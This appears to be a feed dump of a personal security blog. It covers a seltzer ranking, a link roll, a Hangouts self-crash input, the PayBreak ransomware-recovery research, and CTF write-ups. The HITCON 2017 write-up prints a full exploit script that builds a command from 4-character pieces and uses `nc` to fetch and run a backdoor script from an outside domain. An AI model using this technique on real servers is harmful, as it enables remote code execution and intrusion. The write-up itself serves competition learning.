<p>There's some rankings out there on some <a href="https://www.bostonmagazine.com/health/2015/06/22/polar-seltzer-flavors-ranked/">other</a> <a href="https://spoonuniversity.com/lifestyle/a-definitive-ranking-of-all-flavors-of-polar-seltzer">sites</a>. But as far as I can tell, this is the only one done by a committee with a <a href="https://eugenekolo.com/blog/seltzer/#scoresofeachflavor">spreadsheet</a>. We attempted to rank them, and here's the details on those 18 flavors:</p>

<h3 id="18tripleberry">18) Triple Berry</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-triple-berry.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
Chemical taste - definitely not berries. What really kills this though is the after taste - awful.  
</td>  
</tr>  
</table>

<h3 id="17orangevanilla">17) Orange Vanilla</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-orange-vanilla-1.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
Really bad. This one tastes like the nightmare of orange juice and toothpaste concentrated into some sort of seltzer abomination.  
</td>  
</tr>  
</table>

<h3 id="16pomegranate">16) Pomegranate</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-pomegranate-2.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
Same as Triple Berry, but with a slightly better after taste. Still awful, but slightly better.  
</td>  
</tr>  
</table>

<h3 id="15blackcherry">15) Black Cherry</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-black-cherry.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
See pomegranate above. This is an attempt at some sort of berry flavor, but it just tastes like chemicals and has an awful after taste.  
</td>  
</tr>  
</table>

<h3 id="14cherrypomegranate">14) Cherry Pomegranate</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-cherry-pomegranate.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
Things start to get a little bit better. We're getting to the bearable flavors. The taste in this one is still very chemical.  
</td>  
</tr>  
</table>

<h3 id="13blueberrylemonade">13) Blueberry Lemonade</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-blueberry-lemonade-1.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
This one can be enjoyable if you want a change. But, it's still not very good.  
</td>  
</tr>  
</table>

<h3 id="12grannysmithapple">12) Granny Smith Apple</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-granny-smith-apple.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
Surprisingly accurate to what Granny Smith apples taste like. Not bad, but not great either. The flavor is perhaps best left to sour candy and not seltzer.  
</td>  
</tr>  
</table>

<h3 id="11cranberrylime">11) Cranberry Lime</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-cranberry-lime.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
Palatable. Mixes well with vodka. Wouldn't drink this regularly.  
</td>  
</tr>  
</table>

<h3 id="10cranberryclementine">10) Cranberry Clementine</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-cranberry-clementine.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
Decent. Similar to Cranberry Lime. Mixed the best with vodka, but wouldn't drink this one regularly.  
</td>  
</tr>  
</table>

<h3 id="9strawberrywatermelon">9) Strawberry Watermelon</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-strawberry-watermelon.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
One of the sweetest flavors. It'd make a good summer flavor. Comes with a poor after taste though.  
</td>  
</tr>  
</table>

<h3 id="8original">8) Original</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-original.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
Classic. Clean and crisp. Not much wrong with it, and some may swear by it.  
</td>  
</tr>  
</table>

<h3 id="7vanilla">7) Vanilla</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-vanilla.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
Expected this one to be as gross as Orange Vanilla, but it was surprisingly better. A real shocker.  
</td>  
</tr>  
</table>

<h3 id="6raspberrylime">6) Raspberry Lime</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-raspberry-lime-1.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">

This is a good daily seltzer. The flavor is bold, but not too bold, and the after taste is good.  
</td>  
</tr>  
</table>

<h3 id="5lemon">5) Lemon</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-lemon.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
Some people swear by it. Tastes like regular lemon seltzer. The flavor is strong, so if you want a subtler seltzer, this is not the one. But, if you want your seltzer to give you a step in your walk this one's great.  
</td>  
</tr>  
</table>

<h3 id="4mandarin">4) Mandarin</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-mandarin.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
A very welcoming flavor. Palatable by many. It's a good amount of sweetness and subtlety to it while not tasting chemical. There's a slightly poor after taste to it though.  
</td>  
</tr>  
</table>

<h3 id="3georgiapeach">3) Georgia Peach</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-georgia-peach.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
This is a great flavor. Very similar to Mandarin. It's sweeter than Mandarin and on the juicier side. There's no after taste, which is good.  
</td>  
</tr>  
</table>

<h3 id="2lime">2) Lime</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-lime.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
Same as lemon, but more refreshing to some people. It's crisp, and powerful.  
</td>  
</tr>  
</table>

<h3 id="1rubyredgrapefruit">1) Ruby Red Grapefruit</h3>

<table>  
<tr>  
<td width="150">  
<img src="https://eugenekolo.com/blog/content/images/2018/12/polar-ruby-red-grapefruit.png" alt="Best Polar Seltzer Flavors Review">  
</td>  
<td width="450" style="vertical-align: middle; text-align: left">  
Here it is. The best. The flavor is near perfect for a seltzer. It's sweet, but not overbearing. It's subtle, but not too subtle. No deplorable after taste. By far voted the best by everybody.  
</td>  
</tr>  
</table>

<h4 id="scoresofeachflavor">Scores of each flavor</h4>

<p><img src="https://i.imgur.com/4MHlJ3Q.png" alt="Best Polar Seltzer Flavors Review"></p>

<hr> 

<p>That's the ranking of the 18 basic flavors. Since this party, Polar has begun selling a lot of seasonal flavors, most of which are very good. Perhaps in the new year I'll host a party with the seasonal flavors.</p>]]></content:encoded></item><item><title><![CDATA[Lessons Learned and Links #1]]></title><description><![CDATA[<p>My first link roll of the most interesting articles I read and quick lessons learned in the past week or so.</p>

<h2 id="lessonslearned">Lessons Learned</h2>

<ul>
<li><p>File system interopability between Linux and Windows is tough</p>

<ul><li>Trying to get large hard drives with large and numerous files in them to work between Windows and</li></ul></li></ul>]]></description><link>https://eugenekolo.com/blog/lessons-and-links-1/</link><guid isPermaLink="false">addaa46c-794c-4ed3-adcc-4c4a96ffd0cc</guid><dc:creator><![CDATA[Eugene Kolo]]></dc:creator><pubDate>Sun, 19 Aug 2018 17:48:33 GMT</pubDate><content:encoded><![CDATA[<p>My first link roll of the most interesting articles I read and quick lessons learned in the past week or so.</p>

<h2 id="lessonslearned">Lessons Learned</h2>

<ul>
<li><p>File system interopability between Linux and Windows is tough</p>

<ul><li>Trying to get large hard drives with large and numerous files in them to work between Windows and Linux is truly awful. NTFS and exFAT suffers from numerous limitations, and are poorly supported on Linux. Next time I will try to use ext4 (or another Linux native fs) and try to get them working properly on Windows - or just give up on supporting multiple OSes via USB. </li></ul></li>
<li><p>A quick way to get a tombstone on Android</p>

<ul><li>Sometimes you need a quick tombstone for reference, <code>cat /dev/random | ps</code> or <code>kill -5 &#96;pidof mediaserver&#96;</code> will work for most devices. </li></ul></li>
</ul>

<h2 id="links">Links</h2>

<ul>
<li><p><a href="https://elie.net/blog/web/quantifying-the-impact-of-the-twitter-fake-accounts-purge-a-technical-analysis?utm_source=feedly&amp;utm_medium=webfeeds">Quantifying the impact of the Twitter fake accounts purge - a technical analysis</a> (elie.net)</p>

<ul><li>Interesting analysis on the Twitter fake account purge in 2018. </li></ul></li>
<li><p><a href="https://workona.com/">Workona</a> (workona.com)</p>

<ul><li>Looks convenient, and I might look into it further to better manage my addiction to tabs. I worry about my privacy though. </li></ul></li>
<li><p><a href="https://techcrunch.com/2018/08/06/google-acquires-graphicsfuzz-a-service-that-tests-android-graphics-drivers/">Google acquires GraphicsFuzz, a service that tests Android graphics drivers</a> (techcrunch.com)</p>

<ul><li>Interesting and nice to see fuzzing companies becoming a thing, and gain foothold in the automated testing scene.</li></ul></li>
<li><p><a href="https://medium.com/netflix-techblog/pseudo-localization-netflix-12fff76fbcbe">Pseudo Localization @ Netflix</a> (medium.com/netflix-techblog)</p>

<ul><li>Interesting way to test for localization. Will have to keep this strategy in mind.</li></ul></li>
<li><p><a href="https://blog.acolyer.org/2018/08/07/bleak-automatically-debugging-memory-leaks-in-web-applications/">BLeak: automatically debugging memory leaks in web applications
</a> (blog.acolyer.org)</p>

<ul><li>Haven't looked into memory degradation in a while. Their approach is to refresh a view continuously, and monitor the amount of memory usage growth (ideally none). </li></ul></li>
<li><p><a href="https://blog.quarkslab.com/symbolic-deobfuscation-from-virtualized-code-back-to-the-original-dimva-2018.html">Symbolic Deobfuscation: From Virtualized Code Back to the Original (DIMVA 2018)
</a> (blog.quarkslab.com)</p>

<ul><li>Interesting approach and results in deobfuscating code that is protected using custom virtualization. The key intuition they build upon is removing instructions relating to the virtualization by tracing user input, and only keeping those instructions.</li></ul></li>
<li><p><a href="https://drive.google.com/file/d/1gDOEar8bUpgwGbfmtEMyAyiCaAhg0MOM/view?usp=sharing">Ten thousand security pitfalls: The Zip file Format.</a> (Gynvael Coldwind)</p>

<ul><li>Quick and easy presentation on security issues that are possible with the ZIP format.</li></ul></li>
<li><p><a href="https://www.owasp.org/index.php/Security_by_Design_Principles">Security by Design Principles</a> (owasp.org)</p>

<ul><li>Nice summary of security principles to keep in mind when architecting and designing secure systems and products.</li></ul></li>
</ul>]]></content:encoded></item><item><title><![CDATA[A way to self crash Google Hangouts]]></title><description><![CDATA[<p>The other day I accidentally discovered a way to self crash Google Hangouts. I was pasting something off a website to a friend, and ended up freezing my Chrome tab instead.</p>

<p>I've isolated the crash of Google Hangouts to this snippet:</p>

<hr>

<p><x "x""=""> <br>
Paste these lines into a Google Hangouts message to crash tab <br>
</x> <br>
- must have following text</p>

<hr>

<p>Upon pasting this in the tab will spike to 100% memory usage and crash itself.</p>

<p>Use case? Not much as the tab cleanly crashes, and it's just a self DOS.</p></p>]]></description><link>https://eugenekolo.com/blog/a-way-to-self-crash-google-hangouts/</link><guid isPermaLink="false">00c347c6-666c-4f0c-9d66-710bdcd3296f</guid><dc:creator><![CDATA[Eugene Kolo]]></dc:creator><pubDate>Tue, 17 Jul 2018 05:07:56 GMT</pubDate><content:encoded><![CDATA[<p>The other day I accidentally discovered a way to self crash Google Hangouts. I was pasting something off a website to a friend, and ended up freezing my Chrome tab instead.</p>

<p>I've isolated the crash of Google Hangouts to this snippet:</p>

<hr>

<p><x "x""=""> <br>
Paste these lines into a Google Hangouts message to crash tab <br>
</x> <br>
- must have following text</p>

<hr>

<p>Upon pasting this in the tab will spike to 100% memory usage and crash itself.</p>

<p>Use case? Not much as the tab cleanly crashes, and it's just a self DOS.</p>]]></content:encoded></item><item><title><![CDATA[Migrating 0xBU.com website from Ghost to Github Pages Jekyll]]></title><description><![CDATA[<p>I just finished migrating the <a href="https://0xbu.com/">0xBU.com</a> website from a self hosted <a href="http://ghost.org">Ghost</a> blog to a managed <a href="https://pages.github.com/">Github Pages</a> Jekyll blog.</p>

<p>Old Ghost Website: <a href="https://github.com/eugenekolo/0xbu-website-deprecated">eugenekolo/0xbu-website-deprecated</a> <br>
New Github Pages Website: <a href="https://github.com/0xBU/0xbu.github.io">0xbu/0xbu.github.io</a></p>

<p>Some lessons learned from the ~2 years of hosting 0xBU on Ghost:</p>

<ul>
<li><p>It was hard to</p></li></ul>]]></description><link>https://eugenekolo.com/blog/migrating-0xbu-com-website-from-ghost-to-github-pages-jekyll/</link><guid isPermaLink="false">ca30d046-ae25-4475-a0ae-a59255c7cf54</guid><dc:creator><![CDATA[Eugene Kolo]]></dc:creator><pubDate>Tue, 17 Jul 2018 02:09:42 GMT</pubDate><content:encoded><![CDATA[<p>I just finished migrating the <a href="https://0xbu.com/">0xBU.com</a> website from a self hosted <a href="http://ghost.org">Ghost</a> blog to a managed <a href="https://pages.github.com/">Github Pages</a> Jekyll blog.</p>

<p>Old Ghost Website: <a href="https://github.com/eugenekolo/0xbu-website-deprecated">eugenekolo/0xbu-website-deprecated</a> <br>
New Github Pages Website: <a href="https://github.com/0xBU/0xbu.github.io">0xbu/0xbu.github.io</a></p>

<p>Some lessons learned from the ~2 years of hosting 0xBU on Ghost:</p>

<ul>
<li><p>It was hard to get students to update the website. I expected that a more sophisticated framework that allowed backend code writing and a WYSIWYG editor for blog drafting would be ideal. However, student developers found the Ghost blog framework to be daunting, and confusing. A purely static website generator such as Jekyll or Hugo made more sense to them.</p></li>
<li><p>Self hosting is often more work than expected. Even something as simple as a static website is not stable without effort. A lot of relied upon libraries and services such LetsEncrypt, NGinx, and Docker do not have stable APIs. Changes to their APIs will ricochet into issues elsewhere. </p></li>
<li><p>Its gotten a lot easier to have free, and secure SSL certificates, but it's still not frustration free. I found that the LetsEncrypt API changed often, and annoyingly. My certificates would often expire, and fail to renew themselves. This was frustrating, and took a couple of hours each time to implement fixes.</p></li>
</ul>

<p>I hope that managed purely static hosting will serve me better going forward.</p>

<p>This blog will remain on Ghost for the foreseeable future. A redesign is in the works though.</p>

<p>I'll finish with a thought on university club websites: Is there enough reason for students to post on their club websites instead of their own? I'm not so sure. </p>]]></content:encoded></item><item><title><![CDATA[How to solve a CTF challenge for $20 - HITCON 2017 BabyFirst Revenge v2]]></title><description><![CDATA[<p>Here's a story how a CTF challenge was solved using $20. There are less expensive solutions (free), but, hey, this works and made us the 4th team to solve it of 8 total in a 1000+ competitor CTF.</p>

<h2 id="summaryandshoutz">Summary and Shoutz</h2>

<p>The challenge was basically to get a remote shell</p>]]></description><link>https://eugenekolo.com/blog/hitcon-babyfirst-revenge-v2/</link><guid isPermaLink="false">2673f798-8707-47f9-a660-4c9079b584b9</guid><dc:creator><![CDATA[Eugene Kolo]]></dc:creator><pubDate>Thu, 09 Nov 2017 06:50:23 GMT</pubDate><content:encoded><![CDATA[<p>Here's a story how a CTF challenge was solved using $20. There are less expensive solutions (free), but, hey, this works and made us the 4th team to solve it of 8 total in a 1000+ competitor CTF.</p>

<h2 id="summaryandshoutz">Summary and Shoutz</h2>

<p>The challenge was basically to get a remote shell using only 4 character commands at a time. We can build a longer command by creating pieces of the command and then listing them in alphabetical order using <code>ls</code>. That command can be saved to a file and then executed using <code>vi&lt;file</code>.</p>

<p>In order to form that command, we had to purchase a $20 alphabetical domain, that chunked up into pieces that <code>vi</code> wouldn't barf on.</p>

<p>Thanks <a href="https://twitter.com/jeffreycrowell">@jeffreycrowell</a> for the <code>vi</code> help, and purchasing the domain.</p>

<h2 id="challenge">Challenge</h2>

<blockquote>
  <p>Description: This is the hardest version! Short enough? <a href="http://52.197.41.31/">http://52.197.41.31/</a></p>
</blockquote>

<pre><code>&lt;?php  
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) &amp;&amp; strlen($_GET['cmd']) &lt;= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);
</code></pre>

<p>Relatively straight forward. We get to execute a 4 character shell command in our sandbox.</p>

<h2 id="solution">Solution</h2>

<p>There are relatively few things you can do with only 4 characters in shell. </p>

<ul>
<li>Writing a file can be accomplished with <code>&gt;</code>, and 3 characters left over. </li>
<li>Removing a file can be done with <code>rm&lt;space&gt;</code>, and only 1 character left over. </li>
<li>Executing a file can be done with <code>sh&lt;</code> and 1 character left.  </li>
<li>And of course, we can execute any other &lt;=4 character command such as <code>ls</code>.</li>
</ul>

<p>So, that gives us roughly 3 character limited primitives: create file, remove file, execute.</p>

<pre><code>def create(file):  
    requests.get(URL + '?cmd=&gt;' + file)

def remove(file):  
    requests.get(URL + '?cmd=rm ' + file)

def run(cmd):  
    requests.get(URL + '?cmd=' + cmd)
</code></pre>

<p>That should be enough primitives to create a file with a Remote Code Execution (RCE) command (<code>nc example.com 2000</code>), and execute it.</p>

<p>Getting a command of that length in is difficult when you only have 4 characters, but a nice trick is to create files that form that command and then save those pieces to a file with <code>ls&gt;f</code>. However, <code>ls</code> will sort files by alphabetical order (in our case we discovered the server was running <code>LANG=C</code>, meaning <code>ls</code> sorted by ASCII value). Finally, the file we're writing the output of <code>ls</code> to must not ruin the combined command, as it'll also be written into the output of <code>ls</code>. So we actually have 3 limitations of the kind of command we can create. </p>

<ol>
<li>RCE command must be split into pieces of up to 3 characters  </li>
<li>Those split pieces must sort asciibetically.  </li>
<li>The file being written to must not ruin the command when the pieces are combined.</li>
</ol>

<p>Let's suppose we can create a RCE command that fits those 3 limitations. We still have a problem of joining those pieces into a connected command without newlines as <code>ls</code> will output newline separated into files. We can correct this using some &lt;=3 character <code>vi</code> commands. Those <code>vi</code> commands can be written down as file names, saved using out <code>ls&gt;f</code> trick and then executed using <code>vi&lt;f</code>. </p>

<pre><code># Run some vi&lt;ls
create(':e}')  # Edit }  
create('gJ')  # Join top 2 lines together  
create('~ZZ')  # Write and close the file  
</code></pre>

<blockquote>
  <p>Note we're naming the file <code>}</code> for a very important reason. <code>vi</code> is able to open files named symbols using only 3 characters <code>:e}</code> whereas non-symbol names require at least 4 <code>:e f</code> and would be over the limit. Additionally, <code>}</code> is at the end of the ascii table and will sort nicely to the end of that command.</p>
</blockquote>

<p>The new problem that arises with this method is that now the pieces of the RCE command will be executed as <code>vi</code> commands, because they are included in the <code>ls</code> being piped to <code>vi</code>. So, that makes us have another limitation:</p>

<ol>
<li>The split RCE command pieces must not stop <code>vi</code>'s  joining the pieces.</li>
</ol>

<p>Can you come up with an answer that fits those 4 limitations? Here's what I got:</p>

<pre><code># Create the pieces of the command `nch h11h12h2hh.im mon&gt;z;`. The extra 'h' in 'nc'
# will be removed later
for fff in ["\ n", "c", "h\ ", "h11", "h12", "h2", "hh.", "i", "m\ ", "mo", "n\&gt;", "z\;"]:  
    create(fff)
run('ls&gt;}')  
</code></pre>

<p><strong>The URL that works in splitting into 3 character pieces, sorting properly, and not break <code>vi</code> is <code>h11h12h2hh.im</code>, well it turns out it's $20 and was available.</strong></p>

<p>Actually, that command still breaks <code>vi</code>. The 'c' file will be created, and executed as a command in <code>vi</code>. Unfortunately, this command stops the joining process - we must remove it. We can do that by appending an 'h' to the command (or any other letter really), and then searching for it and deleting it using a <code>vi</code> command. </p>

<pre><code># Clean up the 'h' from the nc command
create('fhx')  
run('ls&gt;l')  
run('vi&lt;l')  
</code></pre>

<p>Once we have a file named <code>}</code> that contains <code>nc h11h12h2hh.im mon&gt;z;</code> we can simply execute that file with <code>sh&lt;}</code>, transfer a nice backdoor script into our sandbox, and then execute it with <code>sh&lt;z</code>.</p>

<pre><code>hitcon{idea_from_phith0n,thank_you:)}  
</code></pre>

<h2 id="fullsolution">Full solution</h2>

<pre><code>#!/usr/bin/env python
import requests  
import os  
import sys


URL = 'http://52.199.204.34/'

def create(file):  
    requests.get(URL + '?cmd=&gt;' + file)

def remove(file):  
    requests.get(URL + '?cmd=rm ' + file)

def run(cmd):  
    requests.get(URL + '?cmd=' + cmd)

def reset():  
    requests.get(URL + '?reset=1')

reset()

# Create the pieces of the command `nch h11h12h2hh.im mon&gt;z;`. The extra 'h' in 'nc'
# will be removed later
for fff in ["\ n", "c", "h\ ", "h11", "h12", "h2", "hh.", "i", "m\ ", "mo", "n\&gt;", "z\;"]:  
    create(fff)


# Put the pieces in the '}' file
run('ls&gt;}')

# Remove anything 'vi' doesn't like and crashes on
remove('e')  
remove('x')  
remove('i')  
remove('p')  
remove('c')  
remove('s')  
remove('S')  
remove('f')  
remove('l')

# Run some vi&lt;ls
create(':e}')  # Edit }  
create('gJ')  # Join top 2 lines together  
create('~ZZ')  # Write the file

run('ls&gt;l')  # Trick to make vi&lt;ls only be 4 characters  
for _ in range(13):  
     run('vi&lt;l')

# Clean up the 'h' from the nc command
create('fhx')  
run('ls&gt;l')  
run('vi&lt;l')

# Let the script finish making the exploit file, and then execute it
time.sleep(10)  
run('sh&lt;}')  
run('sh&lt;z')  
</code></pre>]]></content:encoded></item><item><title><![CDATA[Site Updates]]></title><description><![CDATA[<ul>
<li>Added commenting to posts.</li>
<li>Added an All Posts list to the side bar.</li>
<li>Improved mobile.</li>
<li>Some behind the scenes improvements</li>
</ul>]]></description><link>https://eugenekolo.com/blog/site-updates/</link><guid isPermaLink="false">0a319484-6c9b-4a89-b3c9-737ccc0f134c</guid><dc:creator><![CDATA[Eugene Kolo]]></dc:creator><pubDate>Mon, 02 Oct 2017 03:37:19 GMT</pubDate><content:encoded><![CDATA[<ul>
<li>Added commenting to posts.</li>
<li>Added an All Posts list to the side bar.</li>
<li>Improved mobile.</li>
<li>Some behind the scenes improvements</li>
</ul>]]></content:encoded></item><item><title><![CDATA[PayBreak - Generically recovering from ransomware including WannaCry/WannaCryptor]]></title><description><![CDATA[<p>Recently I worked on some research with colleagues at Boston University (<a href="https://megele.io">Manuel Egele</a>, <a href="http://cs-people.bu.edu/wfkoch/">William Koch</a>) and University College London (<a href="http://www0.cs.ucl.ac.uk/staff/G.Stringhini/">Gianluca Stringhini</a>) into defeating ransomware. The fruit of our labor, <strong><a href="https://eugenekolo.com/static/paybreak.pdf">PayBreak</a></strong> published this year in ACM ASIACCS, is a novel proactive system against ransomware. It happens to work against the new</p>]]></description><link>https://eugenekolo.com/blog/paybreak-generically-recovering-from-ransomware-including-wannacry/</link><guid isPermaLink="false">f565663c-b1c6-45f5-9c48-a31d91c37791</guid><dc:creator><![CDATA[Eugene Kolo]]></dc:creator><pubDate>Tue, 16 May 2017 05:24:05 GMT</pubDate><content:encoded><![CDATA[<p>Recently I worked on some research with colleagues at Boston University (<a href="https://megele.io">Manuel Egele</a>, <a href="http://cs-people.bu.edu/wfkoch/">William Koch</a>) and University College London (<a href="http://www0.cs.ucl.ac.uk/staff/G.Stringhini/">Gianluca Stringhini</a>) into defeating ransomware. The fruit of our labor, <strong><a href="https://eugenekolo.com/static/paybreak.pdf">PayBreak</a></strong> published this year in ACM ASIACCS, is a novel proactive system against ransomware. It happens to work against the new global ransomware threat, <strong>WannaCry</strong>. WannaCry is infecting more than 230,000 computers in 150 countries demanding ransom payments in exchange for access to precious files. This attack has been cited as being unprecedented, and the largest to date. Luckily, our research works against it.</p>

<p>PayBreak works by storing all the cryptographic material used during a ransomware attack. Modern ransomware uses what's called a "hybrid cryptosystem", meaning each ransomed file is encrypted using a different key, and each of those keys are then encrypted using another public encryption key, with the private decryption key held by the ransomware authors. When ransomware attacks, PayBreak records the cryptographic keys used to encrypt each file, and securely stores them. When recovery is necessary, the victim retrieves the ransom keys, and iteratively decrypts each file.</p>

<p>By having <a href="https://github.com/BUseclab/paybreak">PayBreak</a> installed prior to an infection, recovery from ransomware attacks is possible at negligible CPU and RAM overhead. </p>

<h2 id="recoveringfromwannacryransomware">Recovering from WannaCry Ransomware</h2>

<p>At this point, I think I've reverse engineered and researched something like 30 ransomware families, from over 1000 samples. Wannacry isn't really much different than every other ransomware family. Those include other infamous families like Locky, CryptoWall, CryptoLocker, and TeslaLocker.</p>

<p>They all pretty much work the same way, including Wannacry. Actually, this <a href="https://consolia-comic.com/comics/ransomware">comic</a> sums up the ransom process the best I've seen. Every successful family today encrypts each file for ransom with a new unique "session" key, and encrypts each session key with a "public" ransom key making it irrecoverable without the matching "private" key held closely by ransomware racketeers. Those session keys are generated on the host machine. This is where <a href="https://eugenekolo.com/static/paybreak.pdf">PayBreak</a> shims the generation, and usage of those keys, and saves them. Meaning, the encryption of those session keys by the ransomware's public key is pointless, and defeated.</p>

<p><img src="https://eugenekolo.com/blog/content/images/2017/05/WannaCry_CustomAES.png" alt="Custom AES by WannaCry"></p>

<p>The PayBreak system doesn't rely on any specific algorithm, or cryptographic library to  be used by ransomware. Actually, Wannacry implemented, or at least, statically compiled its own AES-128-CBC function. PayBreak can be configured to hook arbitrary functions, including that custom AES function, and record the parameters, such as the key, passed to it. However, a simpler approach in this case was to hook the Windows secure pseudorandom number generator function, CryptGenRandom, which the ransomware (and most others) use to create new session keys per file, and save the output of the function calls.</p>

<p><img src="https://eugenekolo.com/blog/content/images/2017/05/WannaCry_GenRandom.png" alt="Recorded Keys"></p>

<p>Recovering files is simply testing each of the recorded session keys with the encrypted files, until a successful decryption. Decrypting my file system of ~1000 files took 94 minutes.</p>

<p>Encrypted: <a href="https://eugenekolo.com/static/Desert.jpg.WNCRY">Desert.jpg.WNCRY</a> <br>
Key used by Wannacry: cc24d9c8388fa566456ccec745e009c8 <br>
Decrypted: <a href="https://eugenekolo.com/static/Desert.jpg">Desert.jpg</a></p>

<p>Thanks <a href="https://twitter.com/jeffreycrowell">@jeffreycrowell</a> for sharing a sample with me. <br>
Full paper can be found here: <a href="https://eugenekolo.com/static/paybreak.pdf">https://eugenekolo.com/static/paybreak.pdf</a> <br>
SHA256 Hash of Sample: 24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c <br>
WannaCry Custom AES: <a href="https://gist.github.com/eugenekolo/fe229be2a4230cf8322bf5537e291812">https://gist.github.com/eugenekolo/fe229be2a4230cf8322bf5537e291812</a></p>]]></content:encoded></item><item><title><![CDATA[Hitcon CTF 2016 Writeups]]></title><description><![CDATA[<h4 id="writeups">Writeups</h4>

<ul>
<li><a href="https://eugenekolo.com/blog/hitcon-ctf-2016-writeups/#secureposts1">Secure Posts 1</a></li>
<li><a href="https://eugenekolo.com/blog/hitcon-ctf-2016-writeups/#secureposts2">Secure Posts 2</a></li>
<li><a href="https://eugenekolo.com/blog/hitcon-ctf-2016-writeups/#areyourich">Are you rich?</a></li>
</ul>

<h1 id="secureposts1">Secure Posts 1</h1>

<p><em>Web 50</em></p>

<blockquote>
  <p>Here is a service that you can store any posts. Can you hack it?
  <a href="http://52.69.126.212/">http://52.69.126.212/</a></p>
</blockquote>

<p><img src="https://eugenekolo.com/blog/content/images/2016/10/Screenshot-from-2016-10-09-21-42-12.png" alt="Secret Posts Manager"></p>

<p>We're given the source code for this webpage: <a href="https://gist.github.com/eugenekolo/2bb4cf5c8ef7337a7d1c4e098fdcdfb2">https://gist.github.com/eugenekolo/2bb4cf5c8ef7337a7d1c4e098fdcdfb2</a></p>

<h3 id="examination">Examination</h3>

<p>It's</p>]]></description><link>https://eugenekolo.com/blog/hitcon-ctf-2016-writeups/</link><guid isPermaLink="false">ac091740-b843-466d-ad8b-94824e362def</guid><dc:creator><![CDATA[Eugene Kolo]]></dc:creator><pubDate>Mon, 10 Oct 2016 02:08:40 GMT</pubDate><content:encoded><![CDATA[<h4 id="writeups">Writeups</h4>

<ul>
<li><a href="https://eugenekolo.com/blog/hitcon-ctf-2016-writeups/#secureposts1">Secure Posts 1</a></li>
<li><a href="https://eugenekolo.com/blog/hitcon-ctf-2016-writeups/#secureposts2">Secure Posts 2</a></li>
<li><a href="https://eugenekolo.com/blog/hitcon-ctf-2016-writeups/#areyourich">Are you rich?</a></li>
</ul>

<h1 id="secureposts1">Secure Posts 1</h1>

<p><em>Web 50</em></p>

<blockquote>
  <p>Here is a service that you can store any posts. Can you hack it?
  <a href="http://52.69.126.212/">http://52.69.126.212/</a></p>
</blockquote>

<p><img src="https://eugenekolo.com/blog/content/images/2016/10/Screenshot-from-2016-10-09-21-42-12.png" alt="Secret Posts Manager"></p>

<p>We're given the source code for this webpage: <a href="https://gist.github.com/eugenekolo/2bb4cf5c8ef7337a7d1c4e098fdcdfb2">https://gist.github.com/eugenekolo/2bb4cf5c8ef7337a7d1c4e098fdcdfb2</a></p>

<h3 id="examination">Examination</h3>

